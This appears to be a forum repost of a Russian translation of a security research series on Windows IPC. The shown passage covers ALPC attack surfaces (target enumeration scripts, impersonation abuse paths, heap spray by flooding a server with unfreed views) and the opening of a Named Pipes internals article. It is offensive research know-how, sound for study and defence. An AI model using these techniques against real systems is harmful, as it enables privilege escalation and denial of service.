Get-ChildItem -Path "C:\Windows\System32\" -Include ('*.exe', '*.dll') -Recurse -ErrorAction SilentlyContinue | % { $out=$(C:\"Program Files (x86)"\"Microsoft Visual Studio 14.0"\VC\bin\dumpbin.exe /IMPORTS:ntdll.dll $_.VersionInfo.FileName); If($out -like "*NtAlpcCreatePort*"){ Write-Host "[+] Executable creating ALPC Port: $($_.VersionInfo.FileName)"; Write-Output "[+] $($_.VersionInfo.FileName)`n`n $($out|%{"$_`n"})" | Out-File -FilePath NtAlpcCreatePort.txt -Append } }

## Get ALPC client processes (those that connect to an ALPC port)
Get-ChildItem -Path "C:\Windows\System32\" -Include ('*.exe', '*.dll') -Recurse -ErrorAction SilentlyContinue | % { $out=$(C:\"Program Files (x86)"\"Microsoft Visual Studio 14.0"\VC\bin\dumpbin.exe /IMPORTS:ntdll.dll $_.VersionInfo.FileName); If($out -like "*NtAlpcConnectPor*"){ Write-Host "[+] Executable connecting to ALPC Port: $($_.VersionInfo.FileName)"; Write-Output "[+] $($_.VersionInfo.FileName)`n`n $($out|%{"$_`n"})" | Out-File -FilePath NtAlpcConnectPort.txt -Append } }

1655178684076.png

Я не кодировал 2-й вариант (разбор IAT) — если вы знаете инструмент, который это делает, дайте мне знать , но есть простой, но очень медленный способ решить вариант № 3 (найти дескрипторы ALPC в процессах), используя следующее Команда WinDbg: !handle 0 2 0 ALPC Port

1655178714996.png

Имейте в виду, что это очень медленно и, вероятно, займет несколько часов (я остановился через 10 минут и получил только около 18 дескрипторов).
Но еще раз спасибо Джеймсу Форшоу и его [NtApiDotNet ](https://github.com/googleprojectzero/sandbox-attacksurface- analysis-tools/tree/main/NtApiDotNet), есть более простой способ написать это самостоятельно и ускорить этот процесс, плюс мы также можем получить интересную статистику ALPC…
_Вы можете найти этот инструмент[здесь ](https://github.com/csandker/InterProcessCommunication- Samples/tree/master/ALPC/CS-AlpcProcessHandles)

1655178755054.png_

Обратите внимание, что эта программа не запускается в пространстве ядра, поэтому я ожидаю лучших результатов с помощью команды WinDbg, но она выполняет свою работу по отображению некоторых портов ALPC, используемых различными процессами. Перебирая все процессы, к которым у нас есть доступ, мы также можем рассчитать некоторые базовые статистические данные об использовании ALPC, как показано выше. Эти цифры не являются точными на 100%, но учитывая, что в среднем около 14 дескрипторов коммуникационных портов ALPC используются для каждого процесса, мы можем определенно заключить, что ALPC довольно часто используется в Windows.
Как только вы определите процесс, который звучит как интересная цель, WinDbg можно использовать снова, чтобы копнуть глубже…

1655178784751.png

Используйте трассировку событий для Windows

Хотя ALPC не [некоторые события ALPC ](https://docs.microsoft.com/en- us/windows/win32/etw/alpc)отображаются как события Windows, которые можно зафиксировать с помощью отслеживания событий для Windows (ETW). Одним из инструментов, помогающих с ALPC-событиями, является ProcMonXv2 от zodiacon .

1655178817658.png

Имперсонация и неимперсонация

Для коммуникации ALPC процедуры имперсонализации привязаны к сообщениям, что означает, что и клиент, и сервер (а также каждая из общающихся сторон) могут выдавать себя за пользователя на другой стороне. Однако, для того, чтобы разрешить выдавать себя за другого, партнер по коммуникации должен разрешить выдавать себя за другого, а партнер по коммуникации, выдающий себя за другого, должен обладать привилегией SeImpersonate (это все еще защищенный канал связи, верно?)...
Глядя на код, кажется, что есть два варианта выполнения первого условия, которое заключается в разрешении быть выданным за другого:

Первый вариант: Через PortAttributes, например, так:

C++:Copy to clipboard

// QOS
SecurityQos.ImpersonationLevel = SecurityImpersonation;
SecurityQos.ContextTrackingMode = SECURITY_STATIC_TRACKING;
SecurityQos.EffectiveOnly = 0;
SecurityQos.Length = sizeof(SecurityQos);
// ALPC Port Attributs
PortAttributes.SecurityQos = SecurityQos;
PortAttributes.Flags = ALPC_PORTFLG_ALLOWIMPERSONATION;
  • Второй вариант: Через ALPC_MESSAGE_SECURITY_ATTRIBUTEатрибут сообщения

C++:Copy to clipboard

pMsgAttrSend = setup_sample_message_attributes(hSrvCommPort, NULL, ALPC_MESSAGE_SECURITY_ATTRIBUTE); // setup security attribute
pMsgAttrSend->ValidAttributes |= ALPC_MESSAGE_SECURITY_ATTRIBUTE; // specify it to be valid for the next message
NtAlpcSendWaitReceivePort(...) // send the message

Если вы не очень хорошо знакомы с кодом VC++/ALPC, эти фрагменты могут ничего вам не сказать, что совершенно нормально. Дело в том, что теоретически есть два варианта указать, что вы разрешаете олицетворение.
Однако есть загвоздка:

  • Если сервер (тот, у которого есть дескриптор порта подключения) хочет олицетворять клиента, то олицетворение разрешено, если клиент указал ЛИБО первый вариант ИЛИ второй (или оба, но одного варианта достаточно).
  • Однако, если клиент хочет выдать себя за сервер, сервер должен предоставить второй вариант. Другими словами: сервер должен отправить ALPC_MESSAGE_SECURITY_ATTRIBUTEчтобы позволить клиенту олицетворять сервер.

Я рассмотрел оба маршрута: сервер, выдающий себя за клиента, и клиент, выдающий себя за сервер.
Мой первый путь заключался в поиске клиентов, пытающихся подключиться к несуществующему порту сервера, чтобы проверить условия имперсонализации. Я пробовал разные методы, но пока не нашел хорошего способа идентифицировать таких клиентов. Мне удалось использовать точки останова в ядре, чтобы вручную определить некоторые случаи, но пока не удалось найти ничего интересного, что позволило бы олицетворять клиента. Ниже приведен пример «ApplicationFrameHost.exe», пытающийся подключиться к несуществующему порту ALPC, который я мог перехватить с помощью своего демонстрационного сервера, однако процесс не допускает имперсонализации (и приложение работает как мой текущий пользователь) …

1655179013927.png

Не слишком удачная попытка персонализации, но, по крайней мере, она подтверждает идею.

Переходим к другому пути: Я нашел кучу портов подключения ALPC, используя Get- AccessibleAlpcPort, как было показано ранее, и дал команду своему ALPC клиенту подключиться к ним, чтобы проверить, позволяют ли они мне а) подключиться, б) отправить мне какое-либо фактическое сообщение обратно и в) отправить атрибуты сообщения имперсонализации вместе с сообщением. Для всех проверенных мной портов подключения ALPC в лучшем случае я получал короткое инициализационное сообщение с атрибутом ALPC_MESSAGE_CONTEXT_ATTRIBUTE, что не полезно для имперсонизации, но, по крайней мере, еще раз демонстрирует идею:

1655179180517.png

Неимперсонация сервера

В части цикла, посвященной RPC, я упоминал, что может быть интересно подключиться к серверу, который использует имперсонацию для изменения контекста безопасности своего потока на контекст безопасности вызывающего клиента, но не проверяет, удалась или не удалась имперсонация. В таком случае сервер может быть обманут и заставить выполнять задачи со своим собственным - потенциально повышенным - контекстом безопасности. Как подробно описано в статье о RPC, поиск таких случаев сводится к индивидуальному анализу конкретного процесса сервера ALPC, который вы рассматриваете. Для этого вам потребуется следующее:

Серверный процесс, открывающий порт ALPC, к которому может подключиться ваш клиент.
Сервер должен принимать сообщения о соединении и должен пытаться выдать себя за сервер
Сервер не должен проверять, удалось или не удалось выдать себя за другого.
(В соответствующих случаях сервер должен работать в другом контексте безопасности, чем ваш клиент, а именно: другой пользователь или другой уровень целостности).

На данный момент я не могу придумать хороший способ автоматизировать или полуавтоматизировать процесс поиска таких целей. Единственный вариант, который приходит мне на ум, это поиск портов подключения ALPC и реверсирование процессов хостинга.
Я буду обновлять этот пост, если наткнусь на что-нибудь интересное в этом направлении, но для основной части я хотел повторить путь атаки при неудачных попытках имперсонации.

Несвободные объекты сообщений

Как упоминалось в разделе Атрибуты сообщений ALPC, существует несколько атрибутов сообщений, которые клиент или сервер может отправить вместе с сообщением. Одним из них является атрибут ALPC_DATA_VIEW_ATTR, который может быть использован для отправки информации о сопоставленном представлении другой стороне коммуникации.
Напомнить: Это можно использовать, например, для хранения больших сообщений или данных в разделяемом представлении и отправки дескриптора этого разделяемого представления другой стороне вместо использования механизма обмена сообщениями с двойным буфером для копирования данных из одного пространства памяти в другое.
Интересным моментом здесь является то, что разделяемое представление (или раздел, как он называется в Windows) отображается в пространство процесса получателя, когда на него ссылается атрибут ALPC_DATA_VIEW_ATTR. Затем получатель может что-то сделать с этим разделом (если он знает о его отображении), но в конечном итоге получатель сообщения должен убедиться, что отображенное представление освобождено из собственного пространства памяти, а это требует определенного количества шагов, которые могут быть выполнены неправильно. Если получателю не удается освободить сопоставленное представление, например, потому что он вообще не ожидал получить представление, отправитель может посылать все больше и больше представлений с произвольными данными, чтобы заполнить пространство памяти получателя представлениями с произвольными данными, что сводится к атаке Heap Spray.

Я узнал об этом векторе атаки ALPC, только прослушав (в очередной раз) доклад Алекса Ионеску SyScan ALPC Talk, и я думаю, что нет способа лучше сформулировать и показать, как работает этот вектор атаки, чем он сам в этом докладе, поэтому я не буду копировать его содержание и слова и просто укажу вам на 32-ю минуту его доклада, где он начинает объяснять атаку. Также вам стоит посмотреть 53-ю минуту его выступления, чтобы увидеть демонстрацию атаки heap spray.

Та же логика применяется к другим атрибутам сообщения ALPC, например, к дескрипторам, которые отправляются в ALPC_MESSAGE_HANDLE_INFORMATION через атрибут дескриптора ALPC.

Поиск уязвимых целей для этого типа атак — это, опять же, индивидуальный процесс расследования, в котором необходимо:

  • Найдите процессы (интересующие), используя связь ALPC
  • Определите, как целевой процесс обрабатывает атрибуты сообщения ALPC, особенно если атрибуты сообщения ALPC освобождены.
  • Проявите творческий подход к вариантам злоупотребления неосвобожденными ресурсами, где очевидным вариантом PoC будет исчерпание памяти процесса.

Конечно, другим допустимым подходом было бы выбрать цель и просто залить ее представлениями (в качестве примера), чтобы проверить, является ли результатом много областей общей памяти, выделенных в адресном пространстве цели. Полезным инструментом для проверки областей памяти процесса является VMMap из Sysinternals , который я использовал в качестве PoC ниже.
В качестве примера я заполнил свой тестовый сервер ALPC представлениями размером 20 КБ, как показано ниже:

1655179368994.png

Это действительно работает, потому что я не какие пытался освободить либо выделенные атрибуты на моем тестовом сервере ALPC.
Я также случайным образом выбрал несколько — например, четыре или пять — процессов ALPC от Microsoft (которые я идентифицировал с помощью показанных выше методов), но те, которые я выбрал, похоже, не совершают ту же ошибку.
Честно говоря, может быть полезно проверить больше процессов для этого, но, насколько мне известно, мне не нужна такая ошибка, кроме сбоя процесса, который, если он достаточно критичен, также может привести к сбою ОС (отказ в обслуживании).

Интересное примечание :
В своем выступлении Алекс Ионеску упоминает, что диспетчер памяти Windows выделяет области памяти на границах 64 КБ, что означает, что всякий раз, когда вы выделяете память, диспетчер памяти помещает эту память в начало следующего доступного блока размером 64 КБ. Что позволяет вам, как злоумышленнику, создавать и отображать представления произвольного размера (желательно меньше 64 КБ, чтобы сделать исчерпание памяти эффективным), а ОС будет отображать представление в памяти сервера и помечать 64 КБ-YourViewSize как неиспользуемую память, потому что это необходимо выровнять все распределение памяти по границам 64 КБ. Вы хотите увидеть 54-ю минуту выступления Алекса, чтобы получить визуальное и словесное объяснение этого эффекта.
Рэймонд Чен объясняет причину гранулярности в 64 КБ здесь .
В конце концов, атаки с исчерпанием памяти, конечно, не единственный жизнеспособный вариант использования примитива памяти/кучи, который люди умнее меня могут превратить в путь эксплойта…

Заключение ​

ALPC недокументирован и довольно сложен, но в качестве мотивационного преимущества: уязвимости внутри ALPC могут стать очень серьезными, поскольку ALPC повсеместно распространен в ОС Windows, все встроенные процессы с высокими привилегиями используют ALPC, и благодаря своей коммуникационной архитектуре это привлекательная цель даже с точки зрения песочницы.
В ALPC есть гораздо больше, чем я рассказал в этом посте. Потенциально можно было бы написать целую книгу об ALPC, но я надеюсь, что хотя бы коснулся основ, чтобы вы начали интересоваться ALPC.
Чтобы получить первое впечатление «Где и сколько ALPC находится на моем ПК», я рекомендую запустить ProcMonXv2 (от zodiacon ) на вашем хосте, чтобы увидеть тысячи событий ALPC, запускаемых за несколько секунд.

1655179452940.png

Чтобы продолжить оттуда, вы можете найти мой [код клиента и сервера ALPC ](https://github.com/csandker/InterProcessCommunication- Samples/tree/master/ALPC/CPP-ALPC-Basic-Client-Server)полезным для игры с процессами ALPC, а также для выявления и использования уязвимостей в ALPC. Если вы обнаружите, что кодируете и/или исследуете ALPC, обязательно ознакомьтесь с [справочным ](https://csandker.io/2022/05/24/Offensive-Windows- IPC-3-ALPC.html#references)разделом, чтобы узнать, как другие справились с ALPC.
Наконец, в качестве последнего слова и в заключение моей рекомендации с самого начала: если вы чувствуете, что можете услышать другой голос и точку зрения на ALPC, я настоятельно рекомендую взять еще один напиток и насладиться следующим часом Алекса Ионеску о LPC, RPC и АЛК:

Приложение A: Использование портов подключения и связи ​

Изучая ALPC, я сначала подумал, что сервер прослушивает свой коммуникационный порт , который он получает, когда принимает клиентское соединение через [NtAlpcConnectPort ](https://github.com/csandker/InterProcessCommunication- Samples/blob/master/ALPC/CPP-ALPC-Basic-Client-Server/CPP- Util/ALPC.h#L307-L320). Это имело бы смысл, так как это называется коммуникационным портом. Однако прослушивание входящих сообщений на коммуникационном порту сервера привело к блокировке вызова [NtAlpcSendWaitReceivePort ](https://github.com/csandker/InterProcessCommunication- Samples/blob/master/ALPC/CPP-ALPC-Basic-Client-Server/CPP- Util/ALPC.h#L322-L332), который так и не вернулся с сообщением.
ALPC сервера, коммуникационном должно быть, было неверным, что меня озадачило, поскольку клиент на другой стороне действительно получает сообщения на свой коммуникационный порт. Я некоторое время зависал над этим вопросом, пока не связался с Алексом Ионеску , чтобы спросить его об этом, и узнал, что мое предположение было действительно неверным, а точнее, со временем стало неверным: Алекс объяснил мне, что идея, которую я имел (сервер прослушивает и отправляет сообщения через свой коммуникационный порт) был способ, которым LPC (предшественник ALPC) был разработан для работы. Однако такой дизайн заставит вас прослушивать растущее число коммуникационных портов с каждым новым клиентом, которого принимает сервер. Представьте, что с сервером разговаривают 100 клиентов, затем серверу необходимо прослушивать 100 коммуникационных портов, чтобы получать клиентские сообщения, что часто приводит к созданию 100 потоков, где каждый поток взаимодействует с другим клиентом. Это было сочтено неэффективным, и гораздо более эффективным решением было иметь один поток, прослушивающий (и отправляющий) порт подключения сервера, где все сообщения отправляются на этот порт подключения.
Это, в свою очередь, означает: сервер принимает клиентское соединение, получает дескриптор коммуникационного порта клиента, но по-прежнему использует дескриптор порта соединения сервера в вызовах [NtAlpcSendWaitReceivePort ](https://github.com/csandker/InterProcessCommunication- Samples/blob/master/ALPC/CPP-ALPC-Basic-Client-Server/CPP- Util/ALPC.h#L322-L332)для отправки и получения сообщений от всех подключенных клиентов.
Означает ли это, что коммуникационный порт сервера устарел (и это был мой дополнительный вопрос Алексу )? Его ответ снова имел смысл и прояснил мое понимание ALPC: порт связи сервера для каждого клиента используется внутри ОС для привязки сообщения, отправленного конкретным клиентом, к конкретному порту связи этого клиента. Это позволяет ОС связать специальную структуру контекста с каждым клиентским портом связи, которая может использоваться для идентификации клиента. Этой специальной контекстной структурой является PortContext , которая может быть любой произвольной структурой, которую можно передать в [NtAlpcAcceptConnectPort ](https://github.com/csandker/InterProcessCommunication- Samples/blob/master/ALPC/CPP-ALPC-Basic-Client-Server/CPP- Util/ALPC.h#L307-L320)и которую впоследствии можно извлечь из любого сообщения с ALPC_CONTEXT_ATTR.
Это означает: когда сервер прослушивает свой порт соединения, он получает сообщения от всех клиентов, но если он хочет знать, какой клиент отправляет сообщение, сервер может получить структуру контекста порта (через ALPC_CONTEXT_ATTR), которую он назначил для этот клиент после принятия соединения, и ОС будет получать эту структуру контекста из внутренне сохраненного порта связи клиента.
На данный момент мы можем заключить, что коммуникационный порт сервера для каждого клиента по-прежнему важен для ОС и по-прежнему имеет свое место и роль в коммуникационной структуре ALPC. Это, однако, не отвечает на вопрос, зачем серверу на самом деле нужен дескриптор порта связи каждого клиента (поскольку клиентский PortContext может быть извлечен из сообщения, полученного с помощью дескриптора порта соединения).
Ответ здесь — имперсонализация . Когда сервер хочет олицетворять клиента, ему необходимо передать порт связи клиента в [NtAlpcImpersonateClientOfPort ](https://github.com/csandker/InterProcessCommunication- Samples/blob/master/ALPC/CPP-ALPC-Basic-Client-Server/CPP- Util/ALPC.h#L352-L357). Причина этого в том, что информация о контексте безопасности, необходимая для выполнения олицетворения, привязана (если это разрешено клиентом) к коммуникационному порту клиента. Не имеет смысла привязывать эту информацию к порту подключения, потому что все клиенты используют этот порт подключения, а каждый клиент имеет свой уникальный порт связи для каждого сервера.
Следовательно: если вы хотите имперсонализировать своих клиентов, вы хотите сохранить дескриптор порта связи каждого клиента.

Рекомендации ​

Ниже приведены несколько ресурсов, которые я считаю полезными для изучения и изучения ALPC.

Справочные проекты, в которых используется ALPC

Ссылки на детали реализации ALPC

Разговоры о ALPC

Ссылки на LPC :

Внутренние компоненты Windows IPC: Named Pipes /1/
ID: 6765d804b4103b69df3758ba
Thread ID: 68585
Created: 2022-06-13T08:47:48+0000
Last Post: 2022-06-13T08:47:48+0000
Author: вавилонец
Prefix: Статья
Replies: 0 Views: 1K

Введение

Этот пост - начало серии постов о внутреннем устройстве и интересных деталях различных компонентов технологии Inter-Process-Communication (IPC) на базе Windows. Первоначально в этой серии будут рассмотрены следующие темы:
Именованные 'pipes':

  1. LPC
  2. ALPC
  3. RPC

Поэтому несколько компонентов технологии IPC остались за кадром, но я, возможно, когда-нибудь дополню эту серию и включу, например, некоторые из них:

  1. Window Messages
  2. DDE (который основан на Window Messages)
  3. Сокеты Windows
  4. Почтовые слоты

Итак, давайте перейдем к именованным 'pipes'

Хотя название может звучать немного странно, 'pipes' - это базовая и простая технология для обеспечения связи и обмена данными между двумя процессами, где термин 'pipes' просто описывает раздел общей памяти, используемый этими двумя процессами.

Чтобы с самого начала ,было правильное понимание, технология IPC, о которой мы говорим, называется " pipes ", и существует два типа pipe:

  • Named Pipes
  • Anonymous Pipes

В большинстве случаев, говоря о 'pipes', вы, скорее всего, имеете в виду Named Pipes поскольку они предлагают полный набор функций, в то время как Anonymous Pipes в основном используются для связи между дочерними и родительскими процессами. Это также подразумевает, что связь может осуществляться между двумя процессами в одной системе (с помощью Named Pipes и Anonymous Pipes) но также может осуществляться через границы машин (только Named Pipes могут общаться через границы машин). Поскольку Named Pipes наиболее актуальны и поддерживают полный набор функций, в этой заметке мы сосредоточимся только на Named Pipes. Добавим немного исторической справки об именованных трубах: Именованные трубопроводы возникли во времена OS/2. Трудно назвать точную дату когда придумали Named Pipes в Windows, но, по крайней мере, можно сказать, что они должны были поддерживаться в Windows 3.1 в 1992 году - об этой поддержке говорится в Windows/DOS Developer's Journal Volume 4, поэтому справедливо предположить, чтоNamed Pipes были добавлены в Windows в начале 1990-х годов.

Прежде чем мы погрузимся во внутреннее устройство Named Pipes пожалуйста, примите к сведению, что далее будет приведено несколько фрагментов кода, взятых из [моего публичного примера](https://github.com/csandker/InterProcessCommunication- Samples/tree/master/NamedPipes/CPP-NamedPipe-Basic-Client-Server) реализации Named Pipes. Если вы почувствуете, что вам нужно больше контекста, перейдите в репозиторий кода и просмотрите общую картину.

Обмен сообщениями по именованным трубам

Итак, давайте разберемся с внутренним устройством Named Pipe. Если вы никогда раньше не слышали об Named Pipes представьте себе эту коммуникационную технологию как настоящую стальную трубу - у вас есть полый прут с двумя концами, и если вы крикнете что-то в один конец, слушатель услышит ваши слова на другом конце. Это все, что делает Named Pipe - она передает информацию с одного конца на другой.

Если вы являетесь пользователем Unix, вы наверняка уже использовали pipes (поскольку это не чисто Windows-технология), используя что-то вроде этого: cat file.txt | wc -l. Команда, которая выводит содержимое файла file.txt, но вместо вывода на STDOUT (который может быть окном вашего терминала) вывод перенаправляется ("передается") на вход второй команды wc -l, которая таким образом подсчитывает строки вашего файла. Это пример Anonymous Pipes.

Name Pipes в Windows так же легко понять, как и в приведенном выше примере. Чтобы мы могли использовать весь набор возможностей pipe мы отойдем от Anonymous Pipes и создадим сервер и клиент, которые будут общаться друг с другом.

Name Pipe - это просто объект, точнее, FILE_OBJECT, который управляется специальной файловой системой, **Named Pipe File System (NPFS):

1655104260857.png**

Когда вы создаете Named Pipe, назовем его 'fpipe', под капотом вы создаете FILE_OBJECT с заданным именем 'fpipe' (отсюда: named pipe) на специальном диске устройства под названием 'pipe'.

Немного практики

Named Pipe создается путем вызова функции WinAPI CreateNamedPipe, как показано ниже [[источник](https://github.com/csandker/InterProcessCommunication- Samples/blob/master/NamedPipes/CPP-NamedPipe-Basic-Client-Server/CPP-Basic- PipeServer/CPP-Basic-PipeServer.cpp#L88)]:

C++:Copy to clipboard

HANDLE serverPipe = CreateNamedPipe(
    L"\\\\.\\pipe\\fpipe",    // name of our pipe, must be in the form of \\.\pipe\<NAME>
    PIPE_ACCESS_DUPLEX, // open mode, specifying a duplex pipe so server and client can send and receive data
    PIPE_TYPE_MESSAGE,    // MESSAGE mode to send/receive messages in discrete units (instead of a byte stream)
    1,            // number of instanced for this pipe, 1 is enough for our use case
    2048,        // output buffer size
    2048,        // input buffer size
    0,            // default timeout value, equal to 50 milliseconds
    NULL        // use default security attributes
);

На данный момент наиболее интересной частью этого вызова является \\\\.\\\pipe\\fpipe.

C++ требует экранирования слэшей, поэтому независимо от языка \\\.\pipe\fpipe. Ведущее '\.' относится к глобальному корневому каталогу вашей машины, где термин 'pipe' является символической ссылкой на устройство NamedPipe.

1655116215300.png

Поскольку объект Named Pipe является FILE_OBJECT, доступ к Named Pipe, которую мы только что создали, равносилен доступу к "обычному" файлу.

Поэтому подключиться к Named Pipe с клиента так же просто, как вызвать CreateFile [[источник](https://github.com/csandker/InterProcessCommunication- Samples/blob/master/NamedPipes/CPP-NamedPipe-Basic-Client-Server/CPP-Basic- PipeClient/CPP-Basic-PipeClient.cpp#L58)]:

C++:Copy to clipboard

HANDLE hPipeFile = CreateFile(L"\\\\127.0.0.1\\pipe\\fpipe", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

После подключения чтение из pipe требует только вызова ReadFile [[источник](https://github.com/csandker/InterProcessCommunication- Samples/blob/master/NamedPipes/CPP-NamedPipe-Basic-Client-Server/CPP-Basic- PipeClient/CPP-Basic-PipeClient.cpp#L65)]

C++:Copy to clipboard

ReadFile(hPipeFile, pReadBuf, MESSAGE_SIZE, pdwBytesRead, NULL);

Прежде чем вы сможете прочитать какие-то данные из pipe вы хотите, чтобы ваш сервер записал в нее какие-то данные (которые вы сможете прочитать). Это делается вызовом - кто бы мог подумать - WriteFile [[источник](https://github.com/csandker/InterProcessCommunication- Samples/blob/master/NamedPipes/CPP-NamedPipe-Basic-Client-Server/CPP-Basic- PipeServer/CPP-Basic-PipeServer.cpp#L110)]

C++:Copy to clipboard

WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);

Но что на самом деле происходит, когда вы "пишете" в pipes?

Как только клиент подключается к серверному каналу, созданная вами 'pipe' больше не находится в состоянии прослушивания, и данные могут быть записаны в нее.

Пользовательский вызов WriteFile передается ядру, где вызывается NtWriteFile, который определяет все детали операции записи, например, какой объект устройства связан с данным файлом, должна ли операция записи быть синхронной, устанавливается пакет запроса ввода/вывода (IRP) и, в конечном итоге, NtWriteFile заботится о том, чтобы ваши данные были записаны в файл. В нашем случае указанные данные записываются не в реальный файл на диске, а в раздел общей памяти, на который ссылается файловый хэндл, возвращаемый из CreateNamedPipe.

Наконец - как уже упоминалось во введении - Named Pipe также можно использовать через сетевое соединение, пересекающее границы системы.

Для вызова удаленного сервера Named Pipe не требуется никаких дополнительных реализаций, просто убедитесь, что в вызове CreateFile указан IP или имя хоста (как в примере выше).

Давайте угадаем: какой сетевой протокол будет использоваться при вызове удаленного сервера? .... барабанная дробь ... абсолютно неудивительно, что это SMB.

С удаленным сервером устанавливается SMB-соединение, которое по умолчанию инициализируется переговорным запросом для определения протокола сетевой аутентификации. В отличие от других механизмов IPC, таких как RPC, вы, как разработчик сервера, не можете контролировать протокол сетевой аутентификации, поскольку он всегда согласовывается через SMB. Поскольку Kerberos является предпочтительной схемой аутентификации, начиная с Windows 2000, Kerberos будет согласован, если это возможно.

Примечание: С точки зрения клиента вы можете эффективно выбирать протокол аутентификации, выбирая подключение к имени хоста или IP. Из-за особенностей конструкции Kerberos он не очень хорошо работает с IP-адресами, поэтому если вы решили подключиться к IP-адресу, результатом согласования всегда будет NTLM(v2). В то время как при подключении к имени хоста вы, скорее всего, всегда будете использовать Kerberos.

Когда аутентификация завершена, действия, которые клиент и сервер хотят выполнить, снова являются классическими файловыми действиями, которые обрабатываются SMB так же, как и любые другие файловые операции, например, путем запуска запроса 'Create Request File', как показано ниже:

1655116196900.png

Режимы передачи данных

Named Pipe предлагают два основных режима передачи данных: режим байтов и режим сообщений.

В режиме байтов сообщения передаются в виде непрерывного потока байтов между клиентом и сервером. Это означает, что клиентское приложение и серверное приложение не знают точно, сколько байт считывается из pipe или записывается в нее в каждый момент времени. Поэтому запись на одной стороне не всегда приводит к чтению того же размера на другой. Это позволяет клиенту и серверу передавать данные, не заботясь об их размере.

В режиме сообщений клиент и сервер отправляют и получают данные дискретными блоками. Каждый раз, когда сообщение отправляется по pipe, оно должно быть прочитано как полное сообщение. Если вы считываете данные с pipe сервера в режиме сообщений, но ваш буфер чтения слишком мал, чтобы вместить все данные, то часть данных, которая помещается в ваш буфер, будет скопирована в него, остальные данные останутся в разделе общей памяти сервера, и вы получите ошибку 234 (0xEA, ERROR_MORE_DATA), указывающую на то, что необходимо получить больше данных.

Визуальное сравнение режимов сообщений показано ниже, взято из книги "Сетевое программирование для Microsoft Windows" (1999):

1655116165200.png

Перекрывающийся ввод-вывод, режим блокировки и буферы ввода-вывода

Перекрывающийся ввод-вывод, режим блокировки и буферы ввода-вывода не являются удивительно важными с точки зрения безопасности, но знание о том, что они существуют и что они означают, может помочь в понимании, общении, построении и отладке именованных труб. Поэтому я вкратце расскажу об этих понятиях.

Перекрывающийся ввод-вывод

Некоторые функции, связанные с Named Pipe, такие как [ReadFile](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf- fileapi-readfile), [WriteFile](https://docs.microsoft.com/en- us/windows/win32/api/fileapi/nf-fileapi-writefile), [TransactNamedPipe](https://docs.microsoft.com/en- us/windows/win32/api/namedpipeapi/nf-namedpipeapi-transactnamedpipe) и [ConnectNamedPipe](https://docs.microsoft.com/en- us/windows/win32/api/namedpipeapi/nf-namedpipeapi-connectnamedpipe), могут выполнять операции с трубами либо синхронно, то есть выполняющий поток ждет завершения операции, прежде чем продолжить, либо асинхронно, то есть выполняющий поток запускает действие и продолжает, не дожидаясь его завершения. Важно отметить, что асинхронные операции с pipe могут быть выполнены только на pipe (сервере), который допускает перекрывающийся ввод- вывод, путем установки [FILE_FLAG_OVERLAPPED в вызове CreateNamedPipe](https://docs.microsoft.com/en- us/windows/win32/api/winbase/nf-winbase-createnamedpipea).

Асинхронные вызовы могут быть выполнены либо путем указания структуры [OVERLAPPED](https://docs.microsoft.com/en-us/windows/win32/api/minwinbase/ns- minwinbase-overlapped) в качестве последнего параметра для каждого из вышеупомянутых "стандартных" действий с pipe таких как [ReadFile](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf- fileapi-readfile), либо путем указания [COMPLETION_ROUTINE](https://docs.microsoft.com/en- us/windows/win32/api/minwinbase/nc-minwinbase-lpoverlapped_completion_routine) в качестве последнего параметра для "расширенных" действий с pipe, таких как [ReadFileEx](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf- fileapi-readfileex). Первый метод, метод OVERLAPPED structure, основан на событиях, то есть должен быть создан объект события, который сигнализируется по завершении операции, в то время как метод COMPLETION_ROUTINE основан на обратном вызове, то есть исполняющему потоку передается процедура обратного вызова, которая ставится в очередь и выполняется по сигналу. Подробнее об этом можно узнать [здесь](https://docs.microsoft.com/en- gb/windows/win32/ipc/synchronous-and-overlapped-input-and-output) с примером реализации от Microsoft [здесь](https://docs.microsoft.com/en- gb/windows/win32/ipc/named-pipe-server-using-overlapped-i-o) .

Режим блокировки

Поведение в режиме блокировки определяется при настройке сервера NamedPipe с помощью [CreateNamedPipe](https://docs.microsoft.com/en- us/windows/win32/api/winbase/nf-winbase-createnamedpipea) путем использования (или отсутствия) флага в параметре dwPipeMode. Следующие два флага dwPipeMode определяют режим блокировки сервера:

PIPE_WAIT (по умолчанию): Режим блокировки включен. При использовании операций с NamedPipe таких как [ReadFile](https://docs.microsoft.com/en- us/windows/win32/api/fileapi/nf-fileapi-readfile) на Pipe для которой включен режим блокировки, операция ожидает завершения. Это означает, что операция чтения на таком Pipe будет ждать, пока не появятся данные для чтения, а операция записи будет ждать, пока все данные не будут записаны. Это, конечно, может привести к тому, что в некоторых ситуациях операция будет ждать бесконечно долго.

PIPE_NOWAIT: Режим блокировки отключен. Именованные операции pipe , такие как [ReadFile](https://docs.microsoft.com/en- us/windows/win32/api/fileapi/nf-fileapi-readfile), возвращаются немедленно. Чтобы убедиться в том, что все данные прочитаны или записаны, нужны такие процедуры, как Overlapping I/O.

Буферы ввода-вывода

Под буферами ввода-вывода я имею в виду входные и выходные буферы сервера NamedPipe, которые вы создаете при вызове [CreateNamedPipe](https://docs.microsoft.com/en- us/windows/win32/api/winbase/nf-winbase-createnamedpipea), а точнее, размеры этих буферов в параметрах nInBufferSize и nOutBufferSize.

При выполнении операций чтения и записи ваш сервер NamedPipe использует нестраничную память (имеется в виду физическая память) для временного хранения данных, подлежащих чтению или записи. Злоумышленник, которому разрешено влиять на эти значения для созданного сервера, может злоупотребить ими, чтобы потенциально вызвать крах системы, выбрав большие буферы или задержать операции с Pipe, выбрав маленький буфер (например, 0):

Большие буферы : Поскольку буферы In-/Out являются нестраничными, сервер исчерпает память, если выбрать их слишком большими. Однако параметры nInBufferSize и nOutBufferSize не принимаются системой "вслепую". Верхний предел определяется константой, зависящей от системы; я не смог найти точной информации об этой константе (и не стал копаться в заголовках); в этом [сообщении](https://blog.stephencleary.com/2010/03/io-limitation-in- windows.html) указано, что это ~4GB для системы x64 Windows7.

